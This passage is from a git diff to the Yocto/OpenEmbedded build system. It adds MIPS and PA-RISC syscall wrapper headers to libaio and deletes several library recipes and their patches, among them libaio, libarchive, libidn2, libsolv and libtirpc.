253+ "move\t%0, $2\n\t" \
254+ ".set\treorder" \
255+ : "=&r" (__v0), "+r" (__a3) \
256+ : "r" (__a0), "r" (__a1), "r" (__a2), "i" (__NR_##sname) \
257+ : "$2", "$8", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
258+ "memory"); \
259+ \
260+ if (__a3 == 0) \
261+ return (type) __v0; \
262+ return (type) -1; \
263+}
264+
265+#if (_MIPS_SIM == _MIPS_SIM_ABI32)
266+
267+/*
268+ * Using those means your brain needs more than an oil change ;-)
269+ */
270+
271+#define io_syscall5(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d,etype,e) \
272+type fname(atype a, btype b, ctype c, dtype d, etype e) \
273+{ \
274+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
275+ register unsigned long __a1 asm("$5") = (unsigned long) b; \
276+ register unsigned long __a2 asm("$6") = (unsigned long) c; \
277+ register unsigned long __a3 asm("$7") = (unsigned long) d; \
278+ unsigned long __v0; \
279+ \
280+ __asm__ volatile ( \
281+ ".set\tnoreorder\n\t" \
282+ "lw\t$2, %6\n\t" \
283+ "subu\t$29, 32\n\t" \
284+ "sw\t$2, 16($29)\n\t" \
285+ "li\t$2, %5\t\t\t# " #fname "\n\t" \
286+ "syscall\n\t" \
287+ "move\t%0, $2\n\t" \
288+ "addiu\t$29, 32\n\t" \
289+ ".set\treorder" \
290+ : "=&r" (__v0), "+r" (__a3) \
291+ : "r" (__a0), "r" (__a1), "r" (__a2), "i" (__NR_##sname), \
292+ "m" ((unsigned long)e) \
293+ : "$2", "$8", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
294+ "memory"); \
295+ \
296+ if (__a3 == 0) \
297+ return (type) __v0; \
298+ return (type) -1; \
299+}
300+
301+#endif /* (_MIPS_SIM == _MIPS_SIM_ABI32) */
302+
303+#if (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64)
304+
305+#define io_syscall5(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d,etype,e) \
306+type fname (atype a,btype b,ctype c,dtype d,etype e) \
307+{ \
308+ register unsigned long __a0 asm("$4") = (unsigned long) a; \
309+ register unsigned long __a1 asm("$5") = (unsigned long) b; \
310+ register unsigned long __a2 asm("$6") = (unsigned long) c; \
311+ register unsigned long __a3 asm("$7") = (unsigned long) d; \
312+ register unsigned long __a4 asm("$8") = (unsigned long) e; \
313+ unsigned long __v0; \
314+ \
315+ __asm__ volatile ( \
316+ ".set\tnoreorder\n\t" \
317+ "li\t$2, %6\t\t\t# " #fname "\n\t" \
318+ "syscall\n\t" \
319+ "move\t%0, $2\n\t" \
320+ ".set\treorder" \
321+ : "=&r" (__v0), "+r" (__a3) \
322+ : "r" (__a0), "r" (__a1), "r" (__a2), "r" (__a4), "i" (__NR_##sname) \
323+ : "$2", "$9", "$10", "$11", "$12", "$13", "$14", "$15", "$24", \
324+ "memory"); \
325+ \
326+ if (__a3 == 0) \
327+ return (type) __v0; \
328+ return (type) -1; \
329+}
330+
331+#endif /* (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64) */
332+
333diff --git a/src/syscall-parisc.h b/src/syscall-parisc.h
334new file mode 100644
335index 0000000..ff61746
336--- /dev/null
337+++ b/src/syscall-parisc.h
338@@ -0,0 +1,146 @@
339+/*
340+ * Linux system call numbers.
341+ *
342+ * Cary Coutant says that we should just use another syscall gateway
343+ * page to avoid clashing with the HPUX space, and I think he's right:
344+ * it will would keep a branch out of our syscall entry path, at the
345+ * very least. If we decide to change it later, we can ``just'' tweak
346+ * the LINUX_GATEWAY_ADDR define at the bottom and make __NR_Linux be
347+ * 1024 or something. Oh, and recompile libc. =)
348+ *
349+ * 64-bit HPUX binaries get the syscall gateway address passed in a register
350+ * from the kernel at startup, which seems a sane strategy.
351+ */
352+
353+#define __NR_Linux 0
354+#define __NR_io_setup (__NR_Linux + 215)
355+#define __NR_io_destroy (__NR_Linux + 216)
356+#define __NR_io_getevents (__NR_Linux + 217)
357+#define __NR_io_submit (__NR_Linux + 218)
358+#define __NR_io_cancel (__NR_Linux + 219)
359+
360+#define SYS_ify(syscall_name) __NR_##syscall_name
361+
362+/* Assume all syscalls are done from PIC code just to be
363+ * safe. The worst case scenario is that you lose a register
364+ * and save/restore r19 across the syscall. */
365+#define PIC
366+
367+/* Definition taken from glibc 2.3.3
368+ * sysdeps/unix/sysv/linux/hppa/sysdep.h
369+ */
370+
371+#ifdef PIC
372+/* WARNING: CANNOT BE USED IN A NOP! */
373+# define K_STW_ASM_PIC " copy %%r19, %%r4\n"
374+# define K_LDW_ASM_PIC " copy %%r4, %%r19\n"
375+# define K_USING_GR4 "%r4",
376+#else
377+# define K_STW_ASM_PIC " \n"
378+# define K_LDW_ASM_PIC " \n"
379+# define K_USING_GR4
380+#endif
381+
382+/* GCC has to be warned that a syscall may clobber all the ABI
383+ registers listed as "caller-saves", see page 8, Table 2
384+ in section 2.2.6 of the PA-RISC RUN-TIME architecture
385+ document. However! r28 is the result and will conflict with
386+ the clobber list so it is left out. Also the input arguments
387+ registers r20 -> r26 will conflict with the list so they
388+ are treated specially. Although r19 is clobbered by the syscall
389+ we cannot say this because it would violate ABI, thus we say
390+ r4 is clobbered and use that register to save/restore r19
391+ across the syscall. */
392+
393+#define K_CALL_CLOB_REGS "%r1", "%r2", K_USING_GR4 \
394+ "%r20", "%r29", "%r31"
395+
396+#undef K_INLINE_SYSCALL
397+#define K_INLINE_SYSCALL(name, nr, args...) ({ \
398+ long __sys_res; \
399+ { \
400+ register unsigned long __res __asm__("r28"); \
401+ K_LOAD_ARGS_##nr(args) \
402+ /* FIXME: HACK stw/ldw r19 around syscall */ \
403+ __asm__ volatile( \
404+ K_STW_ASM_PIC \
405+ " ble 0x100(%%sr2, %%r0)\n" \
406+ " ldi %1, %%r20\n" \
407+ K_LDW_ASM_PIC \
408+ : "=r" (__res) \
409+ : "i" (SYS_ify(name)) K_ASM_ARGS_##nr \
410+ : "memory", K_CALL_CLOB_REGS K_CLOB_ARGS_##nr \
411+ ); \
412+ __sys_res = (long)__res; \
413+ } \
414+ __sys_res; \
415+})
416+
417+#define K_LOAD_ARGS_0()
418+#define K_LOAD_ARGS_1(r26) \
419+ register unsigned long __r26 __asm__("r26") = (unsigned long)(r26); \
420+ K_LOAD_ARGS_0()
421+#define K_LOAD_ARGS_2(r26,r25) \
422+ register unsigned long __r25 __asm__("r25") = (unsigned long)(r25); \
423+ K_LOAD_ARGS_1(r26)
424+#define K_LOAD_ARGS_3(r26,r25,r24) \
425+ register unsigned long __r24 __asm__("r24") = (unsigned long)(r24); \
426+ K_LOAD_ARGS_2(r26,r25)
427+#define K_LOAD_ARGS_4(r26,r25,r24,r23) \
428+ register unsigned long __r23 __asm__("r23") = (unsigned long)(r23); \
429+ K_LOAD_ARGS_3(r26,r25,r24)
430+#define K_LOAD_ARGS_5(r26,r25,r24,r23,r22) \
431+ register unsigned long __r22 __asm__("r22") = (unsigned long)(r22); \
432+ K_LOAD_ARGS_4(r26,r25,r24,r23)
433+#define K_LOAD_ARGS_6(r26,r25,r24,r23,r22,r21) \
434+ register unsigned long __r21 __asm__("r21") = (unsigned long)(r21); \
435+ K_LOAD_ARGS_5(r26,r25,r24,r23,r22)
436+
437+/* Even with zero args we use r20 for the syscall number */
438+#define K_ASM_ARGS_0
439+#define K_ASM_ARGS_1 K_ASM_ARGS_0, "r" (__r26)
440+#define K_ASM_ARGS_2 K_ASM_ARGS_1, "r" (__r25)
441+#define K_ASM_ARGS_3 K_ASM_ARGS_2, "r" (__r24)
442+#define K_ASM_ARGS_4 K_ASM_ARGS_3, "r" (__r23)
443+#define K_ASM_ARGS_5 K_ASM_ARGS_4, "r" (__r22)
444+#define K_ASM_ARGS_6 K_ASM_ARGS_5, "r" (__r21)
445+
446+/* The registers not listed as inputs but clobbered */
447+#define K_CLOB_ARGS_6
448+#define K_CLOB_ARGS_5 K_CLOB_ARGS_6, "%r21"
449+#define K_CLOB_ARGS_4 K_CLOB_ARGS_5, "%r22"
450+#define K_CLOB_ARGS_3 K_CLOB_ARGS_4, "%r23"
451+#define K_CLOB_ARGS_2 K_CLOB_ARGS_3, "%r24"
452+#define K_CLOB_ARGS_1 K_CLOB_ARGS_2, "%r25"
453+#define K_CLOB_ARGS_0 K_CLOB_ARGS_1, "%r26"
454+
455+#define io_syscall1(type,fname,sname,type1,arg1) \
456+type fname(type1 arg1) \
457+{ \
458+ return K_INLINE_SYSCALL(sname, 1, arg1); \
459+}
460+
461+#define io_syscall2(type,fname,sname,type1,arg1,type2,arg2) \
462+type fname(type1 arg1, type2 arg2) \
463+{ \
464+ return K_INLINE_SYSCALL(sname, 2, arg1, arg2); \
465+}
466+
467+#define io_syscall3(type,fname,sname,type1,arg1,type2,arg2,type3,arg3) \
468+type fname(type1 arg1, type2 arg2, type3 arg3) \
469+{ \
470+ return K_INLINE_SYSCALL(sname, 3, arg1, arg2, arg3); \
471+}
472+
473+#define io_syscall4(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
474+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
475+{ \
476+ return K_INLINE_SYSCALL(sname, 4, arg1, arg2, arg3, arg4); \
477+}
478+
479+#define io_syscall5(type,fname,sname,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5) \
480+type fname(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5) \
481+{ \
482+ return K_INLINE_SYSCALL(sname, 5, arg1, arg2, arg3, arg4, arg5); \
483+}
484+
485diff --git a/src/syscall.h b/src/syscall.h
486index d2a117b..8cf8470 100644
487--- a/src/syscall.h
488+++ b/src/syscall.h
489@@ -29,6 +29,12 @@
490 #include "syscall-sparc.h"
491 #elif defined(__aarch64__) || defined(__loongarch__) || defined(__riscv)
492 #include "syscall-generic.h"
493+#elif defined(__m68k__)
494+#include "syscall-m68k.h"
495+#elif defined(__hppa__)
496+#include "syscall-parisc.h"
497+#elif defined(__mips__)
498+#include "syscall-mips.h"
499 #else
500 #warning "using system call numbers from sys/syscall.h"
501 #endif
diff --git a/meta/recipes-extended/libaio/libaio/libaio_fix_for_mips_syscalls.patch b/meta/recipes-extended/libaio/libaio/libaio_fix_for_mips_syscalls.patch
deleted file mode 100644
index 9c6850c08a..0000000000
--- a/meta/recipes-extended/libaio/libaio/libaio_fix_for_mips_syscalls.patch
+++ /dev/null
@@ -1,62 +0,0 @@
1Upstream-Status: Inappropriate [embedded specific]
2
3Signed-off-by: Phil Staub <Phil.Staub@windriver.com>
4
5Index: libaio-0.3.109/src/syscall-mips.h
6===================================================================
7--- libaio-0.3.109.orig/src/syscall-mips.h
8+++ libaio-0.3.109/src/syscall-mips.h
9@@ -76,7 +76,7 @@ type fname(atype a) \
10 \
11 if (__a3 == 0) \
12 return (type) __v0; \
13- return (type) -1; \
14+ return (type) (-(__v0)); \
15 }
16
17 #define io_syscall2(type,fname,sname,atype,a,btype,b) \
18@@ -100,7 +100,7 @@ type fname(atype a, btype b) \
19 \
20 if (__a3 == 0) \
21 return (type) __v0; \
22- return (type) -1; \
23+ return (type) (-(__v0)); \
24 }
25
26 #define io_syscall3(type,fname,sname,atype,a,btype,b,ctype,c) \
27@@ -125,7 +125,7 @@ type fname(atype a, btype b, ctype c) \
28 \
29 if (__a3 == 0) \
30 return (type) __v0; \
31- return (type) -1; \
32+ return (type) (-(__v0)); \
33 }
34
35 #define io_syscall4(type,fname,sname,atype,a,btype,b,ctype,c,dtype,d) \
36@@ -150,7 +150,7 @@ type fname(atype a, btype b, ctype c, dt
37 \
38 if (__a3 == 0) \
39 return (type) __v0; \
40- return (type) -1; \
41+ return (type) (-(__v0)); \
42 }
43
44 #if (_MIPS_SIM == _MIPS_SIM_ABI32)
45@@ -186,7 +186,7 @@ type fname(atype a, btype b, ctype c, dt
46 \
47 if (__a3 == 0) \
48 return (type) __v0; \
49- return (type) -1; \
50+ return (type) (-(__v0)); \
51 }
52
53 #endif /* (_MIPS_SIM == _MIPS_SIM_ABI32) */
54@@ -216,7 +216,7 @@ type fname (atype a,btype b,ctype c,dtyp
55 \
56 if (__a3 == 0) \
57 return (type) __v0; \
58- return (type) -1; \
59+ return (type) (-(__v0)); \
60 }
61
62 #endif /* (_MIPS_SIM == _MIPS_SIM_NABI32) || (_MIPS_SIM == _MIPS_SIM_ABI64) */
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
deleted file mode 100644
index cc91ea99d9..0000000000
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ /dev/null
@@ -1,33 +0,0 @@
1From 94bba6880b1f10c6b3bf33a17ac40935d65a81ae Mon Sep 17 00:00:00 2001
2From: Ross Burton <ross.burton@intel.com>
3Date: Fri, 6 Nov 2015 15:19:46 +0000
4Subject: [PATCH] Don't remove the system libraries and startup files from
5 libaio, as in some build configurations these are required. For example,
6 including conf/include/security_flags.inc on PPC results in:
7
8io_queue_init.os: In function `io_queue_init':
9tmp/work/ppce300c3-poky-linux/libaio/0.3.110-r0/libaio-0.3.110/src/io_queue_init.c:33:
10undefined reference to `__stack_chk_fail_local'
11
12Upstream-Status: Pending
13Signed-off-by: Ross Burton <ross.burton@intel.com>
14---
15 src/Makefile | 2 +-
16 1 file changed, 1 insertion(+), 1 deletion(-)
17
18diff --git a/src/Makefile b/src/Makefile
19index 37ae219..22e0c9a 100644
20--- a/src/Makefile
21+++ b/src/Makefile
22@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
23 CFLAGS += -Wall -I. -fPIC
24 SO_CFLAGS=-shared $(CFLAGS)
25 L_CFLAGS=$(CFLAGS)
26-LINK_FLAGS=
27+LINK_FLAGS=$(LDFLAGS)
28 LINK_FLAGS+=$(LDFLAGS)
29 ENABLE_SHARED ?= 1
30
31--
322.25.1
33
diff --git a/meta/recipes-extended/libaio/libaio_0.3.113.bb b/meta/recipes-extended/libaio/libaio_0.3.113.bb
deleted file mode 100644
index 2392fd5db2..0000000000
--- a/meta/recipes-extended/libaio/libaio_0.3.113.bb
+++ /dev/null
@@ -1,21 +0,0 @@
1SUMMARY = "Asynchronous I/O library"
2DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
3HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
4
5LICENSE = "LGPL-2.1-or-later"
6LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
7
8SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
9 file://00_arches.patch \
10 file://libaio_fix_for_mips_syscalls.patch \
11 file://system-linkage.patch \
12 "
13SRCREV = "1b18bfafc6a2f7b9fa2c6be77a95afed8b7be448"
14
15EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
16
17do_install () {
18 oe_runmake install DESTDIR=${D}
19}
20
21BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.8.2.bb b/meta/recipes-extended/libarchive/libarchive_3.8.2.bb
deleted file mode 100644
index d4f367009a..0000000000
--- a/meta/recipes-extended/libarchive/libarchive_3.8.2.bb
+++ /dev/null
@@ -1,64 +0,0 @@
1SUMMARY = "Support for reading various archive formats"
2DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
3HOMEPAGE = "http://www.libarchive.org/"
4SECTION = "devel"
5LICENSE = "BSD-2-Clause"
6LIC_FILES_CHKSUM = "file://COPYING;md5=7ce08437ff7f5e24d72e666313ae4084"
7
8DEPENDS = "e2fsprogs-native"
9
10PACKAGECONFIG ?= "zlib bz2 xz zstd ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)}"
11
12DEPENDS_BZIP2 = "bzip2-replacement-native"
13DEPENDS_BZIP2:class-target = "bzip2"
14
15PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
16PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
17PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
18PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
19PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
20PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
21PACKAGECONFIG[libb2] = "--with-libb2,--without-libb2,libb2,"
22PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
23PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
24PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
25PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
26PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
27PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
28PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd,"
29
30EXTRA_OECONF += "--enable-largefile --without-iconv"
31
32SRC_URI = "https://libarchive.org/downloads/libarchive-${PV}.tar.gz"
33UPSTREAM_CHECK_URI = "https://www.libarchive.org/"
34
35SRC_URI[sha256sum] = "5f2d3c2fde8dc44583a61165549dc50ba8a37c5947c90fc02c8e5ce7f1cfb80d"
36
37inherit autotools update-alternatives pkgconfig
38
39CPPFLAGS += "-I${WORKDIR}/extra-includes"
40
41do_configure[cleandirs] += "${WORKDIR}/extra-includes"
42do_configure:prepend() {
43 # We just need the headers for some type constants, so no need to
44 # build all of e2fsprogs for the target
45 cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
46}
47
48ALTERNATIVE_PRIORITY = "80"
49
50PACKAGES =+ "bsdtar"
51FILES:bsdtar = "${bindir}/bsdtar"
52
53ALTERNATIVE:bsdtar = "tar"
54ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
55ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
56
57PACKAGES =+ "bsdcpio"
58FILES:bsdcpio = "${bindir}/bsdcpio"
59
60ALTERNATIVE:bsdcpio = "cpio"
61ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
62ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
63
64BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libidn/libidn2_2.3.8.bb b/meta/recipes-extended/libidn/libidn2_2.3.8.bb
deleted file mode 100644
index a53ac47d66..0000000000
--- a/meta/recipes-extended/libidn/libidn2_2.3.8.bb
+++ /dev/null
@@ -1,33 +0,0 @@
1SUMMARY = "Internationalized Domain Name support library"
2DESCRIPTION = "Implementation of the Stringprep, Punycode and IDNA specifications defined by the IETF Internationalized Domain Names (IDN) working group."
3HOMEPAGE = "http://www.gnu.org/software/libidn/"
4SECTION = "libs"
5LICENSE = "(GPL-2.0-or-later | LGPL-3.0-only) & GPL-3.0-or-later & Unicode-DFS-2016"
6LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
7 file://COPYING.LESSERv3;md5=3000208d539ec061b899bce1d9ce9404 \
8 file://COPYINGv2;md5=570a9b3749dd0463a1778803b12a6dce \
9 file://COPYING.unicode;md5=684cf5f7e3fded3546679424528261a9 \
10 file://src/idn2.c;endline=16;md5=c44fb6f201f22da3a19857499b49b15d \
11 file://lib/idn2.h.in;endline=27;md5=f27aee1b44326be3a28961c55319099f \
12 "
13
14SRC_URI = "${GNU_MIRROR}/libidn/${BPN}-${PV}.tar.gz"
15SRC_URI[sha256sum] = "f557911bf6171621e1f72ff35f5b1825bb35b52ed45325dcdee931e5d3c0787a"
16
17DEPENDS = "virtual/libiconv libunistring"
18
19inherit pkgconfig autotools gettext texinfo gtk-doc lib_package
20
21EXTRA_OECONF += "--disable-rpath \
22 --with-libunistring-prefix=${STAGING_EXECPREFIXDIR} \
23 "
24
25do_install:append() {
26 # Need to remove any duplicate whitespace too for reproducibility
27 sed -i -e 's|-L${STAGING_LIBDIR}||' -e 's/ */ /g' ${D}${libdir}/pkgconfig/libidn2.pc
28}
29
30LICENSE:${PN} = "(GPL-2.0-or-later | LGPL-3.0-only) & Unicode-DFS-2016"
31LICENSE:${PN}-bin = "GPL-3.0-or-later"
32
33BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libmnl/libmnl_1.0.5.bb b/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
deleted file mode 100644
index 66b30d7f60..0000000000
--- a/meta/recipes-extended/libmnl/libmnl_1.0.5.bb
+++ /dev/null
@@ -1,16 +0,0 @@
1SUMMARY = "Minimalistic user-space Netlink utility library"
2DESCRIPTION = "Minimalistic user-space library oriented to Netlink developers, providing \
3 functions for common tasks in parsing, validating, and constructing both the Netlink header and TLVs."
4HOMEPAGE = "https://www.netfilter.org/projects/libmnl/index.html"
5SECTION = "libs"
6LICENSE = "LGPL-2.1-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
8
9SRC_URI = "https://netfilter.org/projects/libmnl/files/libmnl-${PV}.tar.bz2"
10SRC_URI[sha256sum] = "274b9b919ef3152bfb3da3a13c950dd60d6e2bcd54230ffeca298d03b40d0525"
11
12inherit autotools pkgconfig
13
14EXTRA_OECONF += "--with-doxygen=no"
15
16BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/libnsl/libnsl2_2.0.1.bb b/meta/recipes-extended/libnsl/libnsl2_2.0.1.bb
deleted file mode 100644
index ff4ae6c243..0000000000
--- a/meta/recipes-extended/libnsl/libnsl2_2.0.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
1# Copyright (C) 2017 Khem Raj <raj.khem@gmail.com>
2# Released under the MIT license (see COPYING.MIT for the terms)
3
4SUMMARY = "Library containing NIS functions using TI-RPC (IPv6 enabled)"
5DESCRIPTION = "This library contains the public client interface for NIS(YP) and NIS+\
6 it was part of glibc and now is standalone packages. it also supports IPv6"
7HOMEPAGE = "https://github.com/thkukuk/libnsl"
8LICENSE = "LGPL-2.1-only"
9LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
10SECTION = "libs"
11DEPENDS = "libtirpc"
12
13CVE_PRODUCT = "libnsl_project:libnsl"
14
15SRC_URI = "git://github.com/thkukuk/libnsl;branch=master;protocol=https"
16SRCREV = "d4b22e54b5e6637a69b26eab5faad2a326c9b182"
17
18inherit autotools pkgconfig gettext
19
20BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libnss-nis/libnss-nis_3.4.bb b/meta/recipes-extended/libnss-nis/libnss-nis_3.4.bb
deleted file mode 100644
index eac385f6d1..0000000000
--- a/meta/recipes-extended/libnss-nis/libnss-nis_3.4.bb
+++ /dev/null
@@ -1,25 +0,0 @@
1# Copyright (C) 2018 Khem Raj <raj.khem@gmail.com>
2# Released under the MIT license (see COPYING.MIT for the terms)
3
4SUMMARY = "NSS module for glibc, to provide NIS support for glibc"
5
6DESCRIPTION = "This package contains the NSS NIS plugin for glibc.\
7This code was formerly part of glibc, but is now standalone to\
8be able to link against TI-RPC for IPv6 support."
9
10HOMEPAGE = "https://github.com/thkukuk/libnss_nis"
11LICENSE = "LGPL-2.1-only"
12LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
13SECTION = "libs"
14DEPENDS += "libtirpc libnsl2"
15
16SRCREV = "3c206b762ac8557dab3c40ff3a297c9d1bff0d83"
17SRC_URI = "git://github.com/thkukuk/libnss_nis;branch=master;protocol=https;tag=v${PV}"
18
19inherit autotools pkgconfig
20
21BBCLASSEXTEND += "native nativesdk"
22#
23# We will skip parsing this packagegeoup for non-glibc systems
24#
25COMPATIBLE_HOST:libc-musl = 'null'
diff --git a/meta/recipes-extended/libpipeline/libpipeline_1.5.8.bb b/meta/recipes-extended/libpipeline/libpipeline_1.5.8.bb
deleted file mode 100644
index 1f6de1d925..0000000000
--- a/meta/recipes-extended/libpipeline/libpipeline_1.5.8.bb
+++ /dev/null
@@ -1,12 +0,0 @@
1SUMMARY = "pipeline manipulation library"
2DESCRIPTION = "This is a C library for setting up and running pipelines of processes, \
3without needing to involve shell command-line parsing which is often \
4error-prone and insecure."
5HOMEPAGE = "http://libpipeline.nongnu.org/"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
8
9SRC_URI = "${SAVANNAH_GNU_MIRROR}/libpipeline/libpipeline-${PV}.tar.gz"
10SRC_URI[sha256sum] = "1b1203ca152ccd63983c3f2112f7fe6fa5afd453218ede5153d1b31e11bb8405"
11
12inherit pkgconfig autotools
diff --git a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch b/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
deleted file mode 100644
index d6e983dec8..0000000000
--- a/meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch
+++ /dev/null
@@ -1,31 +0,0 @@
1From da99bf09e83469612e2c821696025a4e591bb95c Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Thu, 28 Oct 2021 22:28:45 -0700
4Subject: [PATCH] utils: Conside musl when wrapping qsort_r
5
6musl now has implemented qsort_r, the signature however matches glibc
7and not BSD, current check makes it such that it falls into BSD case
8when building for musl, which clearly is wrong, therefore instead of
9just checking for glibc check for linux to decide which qsort_r
10signature to use. This covers both glibc and musl
11
12Upstream-Status: Pending
13
14Signed-off-by: Khem Raj <raj.khem@gmail.com>
15---
16 src/util.c | 2 +-
17 1 file changed, 1 insertion(+), 1 deletion(-)
18
19diff --git a/src/util.c b/src/util.c
20index 72426e09..8f29bc5a 100644
21--- a/src/util.c
22+++ b/src/util.c
23@@ -159,7 +159,7 @@ solv_setcloexec(int fd, int state)
24
25 see also: http://sources.redhat.com/ml/libc-alpha/2008-12/msg00003.html
26 */
27-#if (defined(__GLIBC__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
28+#if (defined(__linux__) || defined(__NEWLIB__)) && (defined(HAVE_QSORT_R) || defined(HAVE___QSORT_R))
29
30 void
31 solv_sort(void *base, size_t nmemb, size_t size, int (*compar)(const void *, const void *, void *), void *compard)
diff --git a/meta/recipes-extended/libsolv/libsolv_0.7.35.bb b/meta/recipes-extended/libsolv/libsolv_0.7.35.bb
deleted file mode 100644
index ec74308bb5..0000000000
--- a/meta/recipes-extended/libsolv/libsolv_0.7.35.bb
+++ /dev/null
@@ -1,31 +0,0 @@
1SUMMARY = "Library for solving packages and reading repositories"
2DESCRIPTION = "This is libsolv, a free package dependency solver using a satisfiability algorithm for solving packages and reading repositories"
3HOMEPAGE = "https://github.com/openSUSE/libsolv"
4BUGTRACKER = "https://github.com/openSUSE/libsolv/issues"
5SECTION = "devel"
6LICENSE = "BSD-3-Clause"
7LIC_FILES_CHKSUM = "file://LICENSE.BSD;md5=62272bd11c97396d4aaf1c41bc11f7d8"
8
9DEPENDS = "expat zlib zstd"
10
11SRC_URI = "git://github.com/openSUSE/libsolv.git;branch=master;protocol=https;tag=${PV} \
12 file://0001-utils-Conside-musl-when-wrapping-qsort_r.patch \
13"
14
15SRCREV = "fb4b4340d46108cb365113e432642d6024886c7a"
16
17UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
18
19inherit cmake
20
21PACKAGECONFIG ??= "${@bb.utils.contains('PACKAGE_CLASSES','package_rpm','rpm','',d)}"
22PACKAGECONFIG[rpm] = "-DENABLE_RPMMD=ON -DENABLE_RPMDB=ON,,rpm"
23
24EXTRA_OECMAKE = "-DMULTI_SEMANTICS=ON -DENABLE_COMPLEX_DEPS=ON -DENABLE_ZSTD_COMPRESSION=ON -DENABLE_STATIC=ON"
25
26PACKAGES =+ "${PN}-tools ${PN}ext"
27
28FILES:${PN}-tools = "${bindir}/*"
29FILES:${PN}ext = "${libdir}/${PN}ext.so.*"
30
31BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libtirpc/libtirpc/0001-Add-conditional-version-script-support.patch b/meta/recipes-extended/libtirpc/libtirpc/0001-Add-conditional-version-script-support.patch
deleted file mode 100644
index 2764f65284..0000000000
--- a/meta/recipes-extended/libtirpc/libtirpc/0001-Add-conditional-version-script-support.patch
+++ /dev/null
@@ -1,810 +0,0 @@
1From 8ae9a335d56fc4aba8454159b326d809efca597f Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 11 Aug 2025 21:13:59 -0700
4Subject: [PATCH] Add conditional version script support
5
6This patch adds conditional symbol versioning to libtirpc, allowing
7GSS-API, DES crypto, and RPC database symbols to be conditionally
8included in the version script based on build configuration.
9
10LLD is strict about undefined symbols referenced in a version script.
11Some libtirpc symbols (rpcsec_gss, old DES helpers, rpc database
12helpers) are optional and may not be built depending on configure
13options or missing deps. GNU ld tolerated this; LLD errors out.
14
15This change keeps the canonical symbol map in src/libtirpc.map, but
16adds a make-time rule to generate a filtered copy
17where names from disabled features are deleted. The lib is then linked
18against the generated linker map file.
19
20Fixes linking errors when these features are not available.
21
22Upstream-Status: Submitted [https://lore.kernel.org/linux-nfs/20250812180809.2182301-1-raj.khem@gmail.com/T/#u]
23Signed-off-by: Khem Raj <raj.khem@gmail.com>
24---
25 configure.ac | 50 +++++++++++++++++++++++++++
26 src/Makefile.am | 21 +++++++++--
